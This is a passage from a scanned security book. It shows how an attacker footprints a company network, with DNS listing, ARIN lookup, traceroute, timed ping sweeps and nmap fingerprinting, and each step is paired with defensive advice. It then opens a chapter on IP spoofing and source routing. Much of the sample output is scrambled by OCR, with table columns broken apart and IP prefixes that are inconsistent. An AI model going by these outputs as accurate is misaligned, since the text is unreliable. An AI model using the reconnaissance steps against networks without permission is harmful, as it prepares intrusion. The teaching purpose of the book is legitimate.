possibly other servers. The following is the output for our nslookup:

Default Server: companyx test domain
Address: 10.246.68.129

> Server: companyx test domain
Address: 10.246.68.129

> [companyx test domain]

company x NS server =
firewall.air.org

gaprogram A 10.246.68.155
localhost A 127.0.0.1
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lists A 10.246.68.132

gate? A 10.246.68.140
ip A 10.246.68.157
mail A 10.246.68.50
idea A 10.246.68.139
randd A 10.246.68.37
project y A 10.246.68.138
motor A 10.246.68.141

et A 10.246.68.35
firewall A 10.246.68.129
secure A 10.246.68.156
cef A 10.237.183.73
cep A 10.246.68.131
odal A 10.246.68.136
oda? A 10.246.68.42
ip2 A 10.246.68.137
WWW A 10.246.68.133
seagate-info A 10.246.68.55

mail A 10.246.200.91
lists2 A 10.246.68.144
>

I issued the command server=DNS server to set the system to the
authoritative DNS server, and then I issued an 1s command followed by
the domain name to get a list of the servers. (Remember, to protect the
innocent, I changed all the valid IPs to the 10.x.x.x network.) Now we
have a range of IP addresses we can use to try to find out the address
space this company has.

Protection

Certain records have to appear in your DNS records, but you should
minimize the amount that occurs. The less information you give out the
better. Second, any IP address listed should be statically mapped through
a firewall with only a specific port allowed through. For example, your mail
server should be behind a firewall with a non-routable address. The
firewall would then have a static mapping, which means anyone who is
trying to get to this address is automatically mapped to the mail server’s
private address and is only allowed through on port 25, nothing else. This
will minimize your exposure and will help protect the system.

ARIN Web Search

Now we want to try and figure out the network address and subnet.
Remember, there are two ways to do this, but the easiest is using ARIN.
So, in our web browser, we would go to http://www.arin.net/whois and
put in one of the IPs to see if we get a hit. So, we put in 10.246.69.139,
and we get the following output:
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SOME ISP PROVIDER, Inc. (NETBDNS-1996B) JDJKS996R
10.249.255.255

ISP/COMPANY X (NETB-DH-10-246-68) 10-246-68
10.246.68.0 -
20.146.68.255

This tells us a lot of information. We know that the address class 10.249
belongs to the ISP, but the company we are interested in only has
10.246.68, which means it has 254 possible machines on the network,
unless it is performing NAT.

Protection

With ARIN, there is not a lot you can do except to make sure you only use
these addresses for external devices, such as routers and firewalls. Any
other device should use a private address and should be behind a firewall.
This will limit the value of the information and the potential damage an
attacker can cause.

Traceroute

Because we obtained the information we needed from an ARIN search,
traceroute is not necessary, but let’s perform some tests anyway just to
confirm our results. First, let’s perform a traceroute to 10.246.68.144
because we know it is a valid address. When we do this, we get the
following results:

Tracing route to [10.10.10.5]
over a maximum of 30 hops:

1 2 ms 3 ms 3 ms 10.246.68.1

2 4 ms 7 ms 4 ms 10.5.5.1

3 9 ms 7 ms 7 ms 10.6.5.1

4 12 ms 7 ms 7 ms SOMENAME.LOCATION. NET
[10.7.1.1]

5 ms 11 ms 11 ms SOMENAME.LOCATION. NET
[10.8.1.1]

6 11 ms 18 ms 21 ms SOMENAME.LOCATION. NET
[10.9.1.1]

7 120 ms 96 ms 119 ms SOMENAME.LOCATION. NET
[10.10.1.1]

8 82 ms 125 ms 82 ms SOMENAME.LOCATION. NET
(10.11.1.1]

9 97 ms 92 ms 156 ms SOMENAME.LOCATION. NET
[10.12.1.1]

10 81 ms 82 ms 82 ms EXTERNAL.ROUTER.LOCATION. NET
[10.13.1.1]
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11 81 ms 86 ms 108 ms FIREWALL 10.14.1.1
12 109 ms 85 ms 90 ms LOCATION. NET [10.248.68.144]

Trace complete.

Now we know the address for the external router and firewall. All traffic
going to this network has to go through this router, unless it has a second
connection. If it did have a second connection, we would see the other
external router address when we ran traceroutes to other addresses and it
would record that also. In this case, let’s assume a single connection to
the Internet. Now, let’s run a trace to 10.246.68.1 to see the range of
addresses it has:

Tracing route to [10.10.10.5]
over a maximum of 30 hops:

1 2 ms 3 ms 3 ms 10.246.68.1

2 4 ms 7 ms 4 ms 10.5.5.1

3 9 ms 7 ms 7 ms 10.6.5.1

4 12 ms 7 ms 7 ms SOMENAME .LOCATION. NET
[10.7.1.1]

5 8 ms 11 ms 11 ms SOMENAME . LOCATION. NET
[10.8.1.1]

o 11 ms 8 ms 21 ms SOMENAME.LOCATION. NET
[10.9.1.1]

7 120 ms 96 ms 119 ms SOMENAME.LOCATION. NET
[10.10.1.1]

8 82 ms 125 ms 82 ms SOMENAME . LOCATION. NET
[10.11.1.1]

9 97 ms 92 ms 156 ms SOMENAME . LOCATION. NET
(10.12.1.1]

10 81 ms 82 ms 82 ms EXTERNAL.ROUTER.LOCATION. NET
[10.13.1.1]

11 81 ms 86 ms 108 ms FIREWALL 10.14.1.1

12 109 ms 85 ms 90 ms LOCATION. NET [10.246.68.1]

Trace complete.

Let’s also trace to 10.246.68.254:

Tracing route to [10.10.10.5]
over a maximum of 30 hops:

1 2 ms 3 ms 3 ms 10.246.68.1

2 4 ms 7 ms 4 ms 10.5.5.1

3 9 ms 7 ms 7 ms 10.6.5.1

4 12 ms 7 ms 7 ms SOMENAME.LOCATION. NET
[10.7.1.1]
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5
[10.
6
[10.
7
[10.
8
[10.
9
[10.
10
[10.
11
12

Trace complete.

8 ms
8.1.1]
11 ms
9.1.1]
120 ms
10.1.1]
82 ms
11.1.1]
97 ms
12.1.1]
81 ms
13.1.1]
81 ms
109 ms

11

18

96

125

92

82

86
85

ms

ms

ms

ms

ms

ms

ms
ms

11

21

119

82

156

82

108
90

ms

ms

ms

ms

ms

ms

ms
ms

SOMENAME .

SOMENAME .

SOMENAME .

SOMENAME .

SOMENAME

.LOCATION.

LOCATION.

LOCATION.

LOCATION.

LOCATION.

NET

NET

NET

NET

NET

EXTERNAL.ROUTER.LOCATION. NET

FIREWALL 10.14.1.1

LOCATION. NET

[10.

246.68.254]

By analyzing the results, we now see that they have the entire last octet.
Now we need to see if they also have all or some of the second octet. If
we trace to anything in 10.246.x, we get the following results:

Tracing route to

over a maximum of 30 hops:

N N N N
OO 1O OO Ulo b wNH

N
(&)

9
[20.
10
[20.
11
12

Trace complete.

2 ms

4 ms

9 ms

12 ms
7.1.1]

8 ms
.8.1.1]

11 ms
.9.1.1]

120 ms
.10.1.1]

82 ms
L11.1.17]

97 ms
12.1.1]

81 ms
13.1.1]

81 ms

109 ms

N J J W

11

18

96

125

92

82

86
85

ms

ms

ms

ms

ms

ms

ms

ms
ms

N J P> W

11

21

119

82

156

82

108
90

[10.10.10.5]

ms

ms

ms

ms

ms

ms

ms

ms

ms

ms

ms
ms

10.246.68.1

10.5.5.1
10.6.5.1
SOMENAME

SOMENAME

.LOCATION.

.LOCATION.

SOMENME . LOCATION.

SOMENAME

SOMENAME

SOMENAME

.LOCATION.

.LOCATION.

.LOCATION.

NET

NET

NET

NET

NET

NET

EXTERNAL.ROUTER.LOCATION. NET

FIREWALL 20.14.1.1

LOCATION. NET

[10.

246 .x.x%]

Because these traces go to a totally different location, this shows us that
none of these addresses belong to the company and that its address space

“ Hackers Beware ™ New Riders Publishing

115



is 20.246.68.x. Now we know the range of its network and can finish
mapping it out.

Protection

Traceroute is hard to protect against because if you disable ICMP traffic,
which is what traceroute uses, you loose a valuable troubleshooting tool.
Once again, using private addresses inside your firewall limits the
machines to which an attacker could traceroute. You could block ICMP
traffic at your external router, which would help with this problem, but
this would severely limit your ability as an administrator. Remember, even
if we did not use traceroute, we still received the information we needed
from ARIN.

Remember to enforce a principle of least privilege on your systems and
network. Give entities the access they need to do their job and nothing
else. If it is critical for people to have the ability to run external
traceroutes, then you might not be able to disable it. On the other hand, if
it is not needed, then it should be disabled.

Ping

At this point, we know what addresses belong to Company X, and we want
to see what machines are active. The easiest way to do this is to ping the
entire range of addresses and see which ones respond. When we run the
ping at 2:00 in the morning, we get the following results (to conserve
space, we will only show the results for the first 50 machines):

10.246.68.1 Answered in 3 msecs
10.246.68.2 Answered in 21 msecs
10.246.68.3 Answered in 7 msecs
10.246.68.4 Answered in 7 msecs
10.246.68.5 Answered in 11 msecs
10.246.68.06 Answered in 37 msecs
10.246.68.7 Answered in 73 msecs
10.246.68.8 : Answered in 27 msecs
10.246.68.9 : Answered in 17 msecs
10.246.68.10 Answered in 71 msecs
10.246.68.11 Request timed out
10.246.68.12 Request timed out
10.246.68.13 Request timed out
10.246.68.14 Request timed out
10.246.68.15 Request timed out
10.246.68.16 Request timed out
10.246.68.17 Request timed out
10.246.68.18 Request timed out
10.246.68.19 Request timed out
10.246.68.20 Request timed out
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10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10

.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.

68.
68.
.23
.24
.25
.26
L27
.28
.29
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.

68
68
68
68
68
68
68

21
22

30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request
Request

timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out
timed out

We then ran it at 2:00 in the afternoon and received the following results:

10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10

.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.
.246.

68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.
68.

O ~J oy Ul b wbN R

el el el e
SIS S )

[
[&))

Answered
Answered
Answered
Answered
Answered
Answered
Answered
Answered
Answered

Answered in 71 msecs
Answered in 10 msecs

in
in
in
in
in
in
in
in
in

3 msecs
21 msecs
7 msecs
7 msecs
11 msecs
37 msecs
73 msecs
27 msecs
17 msecs

Request timed out
Request timed out

Answered in 17 msecs
Answered in 17 msecs

Request timed out
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10.246.68.17 : Request timed out
10.246.68.18 : Answered in 17 msecs
10.246.68.19 : Request timed out
10.246.68.20 : Request timed out
10.246.68.21 : Answered in 12 msecs
10.246.68.22 : Answered in 12 msecs
10.246.68.23 : Request timed out
10.246.68.24 : Request timed out
10.246.68.25 : Answered in 11 msecs
10.246.68.26 : Answered in 32 msecs
10.246.68.27 : Answered in 11 msecs
10.246.68.28 : Request timed out
10.246.68.29 : Request timed out
10.246.68.30 : Answered in 10 msecs
10.246.68.31 : Request timed out
10.246.68.32 : Answered in 12 msecs
10.246.68.33 : Answered in 20 msecs
10.246.68.34 : Request timed out
10.246.68.35 : Request timed out
10.246.68.36 : Request timed out
10.246.68.37 : Answered in 14 msecs
10.246.68.38 : Answered in 8 msecs
10.246.68.39 : Answered in 11 msecs
10.246.68.40 : Answered in 8 msecs
10.246.68.41 : Request timed out
10.246.68.42 : Answered in 15 msecs
10.246.68.43 : Answered in 12 msecs
10.246.68.44 : Request timed out
10.246.68.45 : Answered in 16 msecs
10.246.68.46 : Answered in 11 msecs
10.246.68.47 : Answered in 15 msecs
10.246.68.48 : Answered in 11 msecs
10.246.68.49 : Answered in 8 msecs
10.246.68.50 : Answered in 15 msecs

What this tells us is that we have a really good idea that the IP addresses
10.246.68.1 through 10.246.68.10 are servers, and the remaining
addresses are client machines. This was determined by the fact that only
servers should be active late at night and workstations should be active
during the day. This is important information because depending on what
an attacker is trying to do, he might want to go after a certain type of
machine. If he wanted to install a backdoor on a machine, so he could
access it late at night, but it is a user’s machine that gets shut off, then it
does not help him very much. So, in this case, an attacker might want to
target a server instead.

Protection

Ping is hard to protect against because if you disable ICMP traffic, which is
what ping uses, you loose a valuable troubleshooting tool. Once again,
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using private addresses inside your firewall limits the machines an
attacker could ping. You could block ICMP traffic at your external router,
which would limit the information an attacker could obtain, but this would
severely limit your ability as an administrator.

Map the Network

At this point, we can map out the network because we know which
machines are located where and which machines are active. After the next
couple of steps, we can fill in the missing pieces—what ports are open and
what operating systems are being run. We could also use a mapping
program, such as cheops, to validate the information we have already
obtained.

PortScan and Fingerprinting

At this point, we know which machines are active and which ones are
servers. Now we would like to know what operating systems are being run
and what ports are open. With that information, we can target a host with
a specific exploit. We can kill two birds with one stone by running nmap
with the -O option. This will give us the operating system and the open
ports. Here is the output from running it on the first 5 IP addresses:

Starting nmap V. 2.53 by fyodor@insecure.org (
WWw.linsecure.org/nmap/ )

Interesting ports on (10.4.0.1) :

(The 1516 ports scanned but not shown below are in state:
closed)

Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
23/tcp open telnet
79/tcp open finger
80/tcp open http

TCP Sequence Prediction: Class=random positive increments
Difficulty=368 (Medium)

Remote OS guesses: Cisco IOS 11.3 - 12.0(9), Cisco IOS

v11l.14(CA)/12.0.2aT1/v12.0.3T

Nmap run completed -- 1 IP address (1 host up) scanned in 3
seconds

Starting nmap V. 2.53 by fyodor@insecure.org (

www.lnsecure.org/nmap/ )
Interesting ports on (10.4.0.2) :
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(The 1520 ports scanned but not shown below are in state:

closed)
Port
7/tcp
9/tcp
19/tcp

TCP Sequence Prediction:

Remote operating system guess:

Sp4

State
pen

open

open

Service
echo

discard
chargen

Nmap run completed -- 1 IP address

seconds

Starting nmap V.
Wwww.linsecure.org/nmap/ )

Interesting ports on
(The 1520 ports scanned but not shown below are in state:

closed)
Port
23/tcp
79/tcp
80/tcp

TCP Sequence Prediction:

Remote OS guesses:

State
open
open
open

2.53 by fyodor@insecure.org

(10.4.0.3) :

Service
telnet
finger
http

v11.14(CA)/12.0.2aT1/v12.0.3T

Nmap run completed -- 1 IP address

seconds

Starting nmap V.
WWW.1insecure.org/nmap/ )

Interesting ports on
(The 1507 ports scanned but not shown below are in state:

closed)
Port

25/tcp
27/tcp
42 /tcp
80/tcp
110/tcp
119/tcp
135/tcp
139/tcp
143/tcp
389/tcp
443/tcp

State
open
open
open
open
open
open
open
open
open
open
open

2.53 by fyodor@insecure.org

(10.4.0.4) :

Service
smtp
nsw-fe
nameserver
http

pop-3

nntp
loc-srv
netbios-ssn
imap?2

ldap

https
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(1 host up) scanned in 6

Class=random positive increments
Difficulty=1833
Cisco IOS 11.3

(Medium)

12.0(9), Cisco IOS

(1 host up) scanned in 3
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563/tcp open snews

593/tcp open http-rpc-epmap
636/tcp open ldapssl
993/tcp open imaps

995/tcp open pop3s

TCP Sequence Prediction: Class=trivial time dependency
Difficulty=2 (Trivial joke)

Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 1 IP address (1 host up) scanned in 2

seconds

Starting nmap V. 2.53 by fyodor@insecure.org (
www.lnsecure.org/nmap/ )

Interesting ports on (10.4.0.5):

(The 1514 ports scanned but not shown below are in state:
closed)

Port State Service
21/tcp open ftp

80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
1032/tcp open iad3

1521 /tcp open ncube-1m
1526/tcp open pdap-np
1723/tcp open pptp

TCP Sequence Prediction: Class=trivial time dependency
Difficulty=2 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 1 IP address (1 host up) scanned in 3
seconds

Now we can see that we have two Cisco devices, one Netware and two
Windows machines.

Protection

Once again, the best means of protection is a firewall that properly blocks
traffic and only allows traffic on specific ports to specific machines. This
way, the attacker only gets a limited view of what is going on. Remember
the less information an attacker has the better.

Exploiting the System
At this point, we have a really clear map of the network, active machines,

type of machines, and potential vulnerabilities. Now it is just a matter of
exploiting those machines. The way this is usually done is after you know
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the operating system, version, and open ports, you look up known
vulnerabilities in a database or on the Internet and go after those first.
Exploiting systems is what this book is about. So as we go through this
book, covering each exploit and how they work, remember this section
and how it fits into the big picture

Summary

This chapter laid the groundwork for the steps an attacker would take to
plan an attack. It also gave a roadmap for the rest of this book.
Everything else that we cover fits into this picture. It is always important
to remember that the sooner you can stop someone by limiting the
information they gain or the sooner you can detect someone trying to get
into your system, the more secure your network will be. The other key
point is that even though what we covered in this chapter seems very
straightforward, if you run it against another network without permission,
it could be perceived as an offensive action against the site, and it could
get you in a lot of trouble. From a security perspective, you should
definitely run these steps against your own site, so you can better
understand what information an attacker could gather. After you know
this information, you will have a better idea of what things in your
company need to be fixed and their priority.

Chapter 4. Spoofing

As I watch the opening scene of the movie Mission: Impossible 2 (M:12), 1
am amazed as a person who I think is Tom Cruise gases everyone in the
airplane and takes the test tubes from the scientist who is sitting next to
him. How could this be? I thought Ethan (the character Tom Cruise plays)
was a good guy. Then, as he walks through the plane, much to everyone’s
astonishment, he peels off the fake face he is wearing and reveals the
true person. It’s not really Ethan, but someone who is impersonating him.
This has nothing to do with computers, but this is a form of spoofing.

By wearing a mask, the person I thought was Tom Cruise was able to
deceive or spoof the scientist into believing that he was someone else.
From a hacking standpoint, there are many reasons someone would want
to do this.
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As we will cover in this chapter, there are various types of spoofing, each
with various levels of difficulty. In its most basic form, an attacker alters
his identity so that someone thinks he is someone else. This can be as
easy as changing his IP address or as deceptive as impersonating the
president of your company with email. The bottom line is he is altering his
identity to be someone or something that he is not.

Most of this chapter will cover computer-based spoofing attacks such as IP
spoofing, but because non-computer-based techniques can be just as
effective, they are also covered at the end of the chapter. Remember that
it does not matter how an attacker can compromise your network, just
whether he can be successful. This chapter will make sure that your
company is prepared to defend against any type of spoofing attack

Why Spoof?

As in the preceding example, if an attacker can convince a computer or a
network that he is someone else (a trusted party), he can probably access
information he normally could not get. For example, if you trust John but
you do not trust Joe, and Joe can spoof his identity to appear to be John,
you will trust Joe (because you think he is John); and Joe can get the
access he wants.

When engineers design networks, they often set up access permissions
and trusts based on information like IP addresses. It is critical that you
understand how easy it is to spoof such information, so that you can
design better security models for your computer networks. Only by
understanding the current limitations can you move forward and build
networks that are less prone to attacks.

Types of Spoofing

There are four types of spoofing that will be covered in this chapter. Here
is a brief explanation of each:

o IP spoofing. An attacker uses an IP address of another computer
to acquire information or gain access.

« Email spoofing. Involves spoofing from the address of an email.
In essence, the email looks like it came from Eric, but in reality, Eric
did not send the email. Someone who was impersonating Eric sent
it.

« Waeb spoofing. The World Wide Web is being used for more and
more e-commerce. To use the web for e-commerce, people have to
be identified and authenticated so that they can be trusted.
Whenever an entity has to be trusted, the opportunity for spoofing
arises.
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Non-technical spoofing. These types of attacks concentrate on
compromising the human element of a company. This is done
through social engineering techniques.

IP Spoofing

When most analysts think of spoofing, they think of IP spoofing, where an
attacker changes his IP address so that he appears to be someone else.
The key to remember is that because an attacker is spoofing someone’s IP
address, when the victim replies back to the address, it goes back to the
spoofed address, not the attacker’s real address.

Figure 4.1 is an example of an attacker sending a packet with a spoofed IP
address to John. John receives the packet but then replies to the IP
address listed as the recipient and not the attacker’s address. Therefore,
the attacker can send packets to a machine with a spoofed address but
does not receive any packets back. This is referred to as a flying blind
attack, or a one-way attack, because you only can send packets to the
victim. You cannot receive any packets back.

Figure 4.1. Attacker sending a spoofed packet.

Attacker
10.50.50.50

From address: 10.10.20,.30
To address: 10.10.5.5

Replies sent back to 10.10.20.30

Spoofed Address John
10.10.20.30 10.10.5.5

The attacker does not see any replies from the victim. Depending on
where the attacker is located, if he inserts himself in the path between the
victim’s machine and the machine whose address he is spoofing, he might
be able to pull off the replies shown in Figure 4.2.

Figure 4.2. Attacker injecting himself in the path so that he can observe all

traffic.

“ Hackers Beware ™ New Riders Publishing 124



3) Attacker 1) Spoofed packet

5ees reply as From address: 10.10.20.30
it goes back To address: 10.10.5.5
to 10.10.20.20

Spoofed Address Attacker 2) Replies sent
10,10.20.30 10.50.50.50 back to
10.10.20.30

There are three basic flavors of IP spoofing attacks, as follows:

« Basic address change
» Use of source routing to intercept packets
» Exploitation of a trust relationship on UNIX machines

More active attacks, where you take over an existing session by spoofing
an address, are covered in Chapter 5, “Session Hijacking.” Session
hijacking is similar to IP spoofing but requires taking over an active
session by knocking a machine offline. Therefore, it is covered in a
separate chapter.

Basic Address Change

Because IP address spoofing involves changing one machine’s IP address
to look like someone else’s, the most basic form of IP spoofing is to go
into a network configuration and change the IP address. By doing that, all
packets that are sent out have an IP address of the address the attacker
wants to spoof. This is very low tech, because all replies go back to the
address he is spoofing and not his machine. Also, because TCP requires a
three-way handshake to get initialized, this cannot be completed, because
the replies go back to a machine that knows nothing about the session,
because its IP address was spoofed.

This has several limitations, but in terms of certain types of denial of
service attacks, it only takes one packet to crash the machine. And
spoofing the address makes it much harder to trace back to the attacker.
With certain attacks, if a system receives an unexpected packet, it could
still crash the system. Also, because UDP is connectionless, a single UDP
packet could be sent to a victim system. For additional details on how TCP
and the three-way handshake work, see Chapter 5.

To change the IP address on a Windows machine, an attacker would
perform the following steps:

1. From the Start menu, select Settings, Control Panel.
2. Double-click the Network icon (see Figure 4.3).
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Figure 4.3. Network information for a Windows 98 machine.
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3. Select the TCP/IP protocol for the network card you are using, and
the IP Address screen appears (see Figure 4.4).

Figure 4.4. TCP/IP properties for a Windows 98 machine.
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The attacker enters the IP address he wants to spoof and reboots the

machine. Now, any packets that are sent will have a spoofed source
address.

On UNIX machines, an attacker uses the ifconfig command from a
terminal window or runs Control Panel from X-Windows to change the IP
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information. By typing ifconfig, the following results appear, which
display information on the network interfaces for the system:

ethO Link encap:Ethernet HWaddr 00:50:8B:9A:4C:1B

inet addr:10.10.50.60 Bcast:10.10.50.60
Mask:255.255.255.224

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:4129755 errors:0 dropped:0 overruns:0
frame:1

TX packets:25087 errors:0 dropped:0 overruns:0
carrier:0

collisions:1185 txqueuelen:100

Interrupt:17 Base address:0x8000

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:3924 Metric:1

RX packets:6588 errors:0 dropped:0 overruns:0
frame:0

TX packets:6588 errors:0 dropped:0 overruns:0
carrier:0

collisions:0 txqueuelen:O0

The following command changes the address:

ifconfig <interface> x.xX.x.X

where <interface> is the name of the interface—for example, eth0. If the
attacker uses Control Panel under X-windows, he gets similar screens to
those that are shown for Windows.

To illustrate how basic IP spoofing works, let’s look at some sample sniffer
data from a machine 208.246.68.46 attempting a connection:

11:17:09.145118 eth0 < 208.246.68.46.2231 > 208.246.68.48.ftp:

R

1850475754:1850475754 (0) win O (DF)

11:17:10.915599 ethO0 < 208.246.68.46.2232 > 208.246.68.48.ftp:

S

1850495970:1850495970 (0) win 8192 <mss 1460, nop,nop, sackOK>

(DF)

11:17:10.915633 eth0 > 208.246.68.48.ftp > 208.246.68.46.2232:

S

352591502:352591502(0) ack 1850495971 win 32120 <mss

1460, nop, nop, sackOK> (DF)

11:17:10.915771 ethO < 208.246.68.46.2232 > 208.246.68.48.ftp:
1:1(0) ack 1 win
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8760 (DF)

11:17:13.952415 eth0 > 208.246.68.48.ftp > 208.246.68.46.2232:

P 1:97(96) ack 1

win 32120 (DF) [tos 0x10]

11:17:14.125905 ethO < 208.246.68.46.2232 > 208.246.68.48.ftp:
1:1(0) ack 97 win

8664 (DF)

11:17:14.530384 eth0 < 208.246.68.46.2232 > 208.246.68.48.ftp:

R

1850495971:1850495971(0) win O (DF)

As you can see, the machine could perform a three-way handshake with
the machine it is connecting to. The attacker then changes his address to
spoof the connection. The new address is 218.246.68.46, and the
following is the data he receives:

11:17:10.915599 eth0 < 218.246.68.46.2232 > 208.246.68.48.ftp:
5850495970:1850495970(0) win 8192 <mss 1460, nop,nop, sackOK>
£?€i7:10.915633 eth0 > 208.246.68.48.ftp > 218.246.68.46.2232:
252591502:352591502(0) ack 1850495971 win 32120 <mss

1460, nop, nop, sackOK> (DF)

Notice that, because the address is spoofed, when the target machine
replies, the packet goes back to the IP address of the machine the
attacker is spoofing. Because the machine is not expecting the packet, the
connection is dropped. Just by changing the IP address, a machine cannot
complete the three-way handshake and open a TCP connection.

Protection Against Address Changes

There are some steps a company can take to protect against this basic
form of spoofing. It is important to note that you can protect your
machines from being used to launch a spoofing attack, but there is little
you can do to prevent an attacker from spoofing your address. Think
about it this way: Is there any way for you to protect against an attacker
spoofing your address on a letter he sends out? There is nothing you can
do to prevent someone from mailing a letter to another party and writing
in your return address instead of his. This is the same problem that occurs
with spoofing.

To prevent an attacker from using a machine to launch a spoofing attack,
first, limit who has access to configuration information on a machine. By
doing this, you can stop an employee from performing spoofing. For
example, with NT workstation, you can limit access so that a normal user
is not allowed to make any changes to the network configuration.
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To protect your company from being the victim of a basic IP spoofing
attack, you can apply basic filters at your routers. Most routers have built-
in spoofing filters. The most basic form of filter is to not allow any packets
that are entering your network from the outside to have a source address
from your internal network. For example, a packet that originates from
inside your network and is going to an internal host never has to go
outside your company’s network. Therefore, if a packet is coming from the
Internet, claiming to originate from your internal network, you can have a
high level of confidence that it is a spoofed packet and can be dropped.
This type of filtering is referred to as ingress filtering and protects a
company’s network from being the victim of a spoofing attack.

Egress filtering prevents someone from using a company’s computers to
launch an attack against another site. To perform egress filtering, your
router examines any packet leaving your network and makes sure that the
source address is an address from your local network. If it is not, the
packet should be dropped because this indicates that someone is using a
spoofed address to launch an attack against another network. Any
legitimate packet that is leaving your company’s network must have a
source address, where the network portion matches your internal

network.

There are also packages like arpwatch that keep track of Ethernet/IP
address pairings to reduce the likelihood of a spoofing attack. For
additional information on arpwatch, go to http://www.appwatch.com/.

Source Routing

Remember that one of the big problems with spoofing is that the return
traffic goes back to the spoofed address and the attacker never gets to
see it. Flying blind is effective if you are really good or are launching a
small attack. But for more advanced attacks, the attacker would like to
see both sides of the conversation.

One way is for an attacker to inject himself into the path that the traffic
would normally take, to get from the destination machine back to the
source. This is very difficult because an attacker has to compromise a
machine on the victim’s network, and there is no guarantee that the traffic
will continue to go through the attacker’s machine. The Internet is
dynamic in terms of how it routes. There are a lot of cases where traffic
takes the same route through the Internet, but it is not guaranteed. It
could change every day, every hour, or even every minute. There is a way
to guarantee that a packet takes a set path through the Internet, and as a
spoof, to make sure it goes through the attacker’s machine. You do this
with source routing, which is built into the TCP/IP protocol suite. Source
routing lets you specify the path a packet will take through the Internet.
There are two types of source routing, as follows:

“ Hackers Beware * New Riders Publishing 129



» Loose source routing (LSR). The sender specifies a list of IP
addresses that the traffic or packet must go through, but it could
also go through any other addresses that it needs to. In other
words, you do not care about the exact path the packet takes
through the network, as long as it goes through these addresses.

« Strict source routing (SRS). The sender specifies the exact path
that the packet must take. If the exact path cannot be taken, the
packet is dropped and an ICMP message is returned to the sender.
In other words, you care about the exact path the packet must take,
and if it cannot take this path for any reason, the packet is not sent.

You might wonder why source routing was put into the TCP specification in
the first place. In the early days of the Internet, it was helpful from a
troubleshooting standpoint, because you could specify which path a packet
took through the network. Also, when new links are set up on a network,
it is helpful to force certain packets through those links to make sure they
are working properly before all traffic is sent across the link. This way, if
there is a problem, it can be fixed without causing a disruption of service.
Also, it can be helpful if you want to send traffic to make sure it does not
go through a competitor’s router or a hostile router. For example, if one of
your competitors owns an ISP, you might want to specify the exact route
your proposals take through the network to make sure that your
competitors cannot get a copy.

Some companies use source routing to test the redundancy of their
networks. For some companies, high availability is very important. This
means that if a device or connection on a network goes down, there are
alternate ways for the traffic to get routed. The simplest way to do this is
to have backup routers. A company has a primary router and a backup
router, and the backup router only is used if the primary router goes
down.

But how does a company know if the backup router is working properly?
Ideally, there should be some way to test it beforehand, because waiting
for the primary router to go down to see if the backup is working can be
very risky. By utilizing source routing, the company can send test packets
where it specifies that it wants the packet to go through the backup
router. This way, the company can see if the backup system is configured
correctly without taking down the primary system.

Source routing works by using a 39-byte source route option field in the IP
header. Because source routing is put in the IP header, there is a limit to
how many IP addresses can be specified. Because the option field for
source routing is 39 bytes, and 3 bytes of that are overhead information,
36 bytes are left for the addresses. Each address uses 4 bytes. If you
divide 36 by 4, you have room for 9 addresses—but it's not that simple.
Because the last address must be the destination address, it only leaves
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room for 8 addresses. As you can imagine, with the growth of the
Internet, there are cases where the number of hops or IP addresses a
packet goes through is more than 8. In these cases, only loose source
routing can be used, because strict source routing would drop the packet
if the exact path were not found. For an in-depth description of the IP and
TCP protocols, please see TCP/IP Illustrated, Volume 1, by Richard
Stevens and Gary Wright, published by Addison Wesley Longman.

Basically, source routing works by taking the first address from the list
and making that the destination address. If strict source routing is
specified, it must be the next hop; if it is not, it is dropped. Depending on
how your firewall is configured, this can result in an ICMP Destination
Unreachable message being generated. In most cases, if your firewall
filter is set to Reject Only, an ICMP Destination Unreachable message is
generated. If the firewall is configured to Deny, no message is generated
and the packet is just dropped.

With loose source routing, it does not matter how many other hops a
packet goes through before it gets to the address specified in the list.
After it gets to the destination, it pulls the next address off the list and
that becomes the destination. It then continues in that fashion until either
the destination is found or the packet cannot be routed. It is important to
note that if the sender specifies source routing to get to the destination,
the destination machine automatically uses the same source routing to get
back to the sender. This is why it is so dangerous: you might not know it
is being used. You might reply to a packet, and if the sender used source
routing, you will automatically be using source routing without knowing it.

To illustrate how source routing is used, we will look at the traceroute
program that comes with both UNIX and Windows. Traceroute has the
option to specify source routing when you use the program. On a UNIX
machine, you use the -g option for loose source routing. The following is
an example:

Traceroute -g 10.10.10.5 10.35.50.10

On a Windows machine, you would use the -5 option for loose source
routing, as follows:

Tracert -3 10.10.10.5 10.35.50.10
To show you how source routing modifies the route, the following is the

traceroute output from doing an ordinary traceroute to
Www.newriders.coms:
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Tracing route to scone.donet.com [205.133.113.87]
over a maximum of 30 hops:

1 5 ms 4 ms 2 ms 10.4.0.1

2 5 ms 5 ms 4 ms 208.246.68.97

3 7 ms 7 ms 7 ms 208.246.68.130

4 9 ms 11 ms 7 ms LoopbackO.GW2.DCAl.ALTER.NET
[137.39.2.154]

5 7 ms 7 ms 15 ms 105.ATM2-0.XR1.DCA1.ALTER.NET
[146.188.161.34]

6 79 ms 14 ms 14 ms 195.ATM9-0-
